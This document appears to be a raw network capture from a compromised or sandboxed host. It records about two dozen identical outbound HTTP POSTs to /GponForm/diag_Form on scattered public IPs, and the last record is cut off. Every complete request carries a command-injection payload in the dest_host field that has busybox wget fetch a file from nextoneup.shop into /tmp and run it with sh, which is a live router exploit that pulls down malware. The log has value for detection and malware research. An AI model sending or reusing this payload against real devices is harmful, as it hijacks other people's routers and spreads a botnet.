Session ID	Source IP	Source Port	Destination IP	Destination Port
1562	192.168.2.13	37542	79.178.121.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131447077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1563	192.168.2.13	39752	37.36.129.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131464958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1564	192.168.2.13	35016	148.156.164.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131504059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1565	192.168.2.13	38578	123.237.105.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131519079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1566	192.168.2.13	37764	117.44.120.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131536007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1567	192.168.2.13	55450	117.251.242.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131541014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1568	192.168.2.13	35800	123.5.57.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131572962 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1569	192.168.2.13	46604	42.120.189.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131584883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1570	192.168.2.13	39260	2.119.209.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131593943 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1571	192.168.2.13	33540	2.35.36.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131611109 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1572	192.168.2.13	57982	210.136.115.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131643057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1573	192.168.2.13	45494	79.176.182.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131664038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1574	192.168.2.13	35668	210.204.81.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131673098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1575	192.168.2.13	48332	79.49.156.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131675959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1576	192.168.2.13	40708	2.97.21.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131685972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1577	192.168.2.13	56120	79.104.168.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131711960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1578	192.168.2.13	50208	117.67.151.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131736994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1579	192.168.2.13	43806	117.188.131.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131742954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1580	192.168.2.13	49628	2.233.89.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131767988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1581	192.168.2.13	33162	212.53.141.112	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131767988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1582	192.168.2.13	55612	212.243.254.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131805897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1583	192.168.2.13	58284	79.34.50.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131841898 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1584	192.168.2.13	35406	212.184.188.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131850004 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1585	192.168.2.13	60496	2.185.235.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131860971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1586	192.168.2.13	48366	42.92.71.107	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131882906 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1587	192.168.2.13	60442	37.87.74.206	443

Timestamp	Bytes transferred	Direction	Data
